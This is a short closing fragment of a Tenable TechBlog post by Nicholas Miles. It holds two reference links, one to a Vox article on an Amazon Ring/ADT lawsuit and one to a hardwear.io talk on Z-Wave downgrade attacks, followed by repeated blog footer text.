[9]: https://www.vox.com/2018/3/3/17065222/amazon-ring-adt/-lawsuit-valor-equity-partners-deal

[10]: https://media.hardwear.io/z-shave-exploiting-z-wave-downgrade-attacks/

Tenable TechBlog

Learn how Tenable finds new vulnerabilities and writes the…

Tenable TechBlog

Learn how Tenable finds new vulnerabilities and writes the software to help you find them

Nicholas Miles

Written by

Tenable TechBlog

Learn how Tenable finds new vulnerabilities and writes the software to help you find them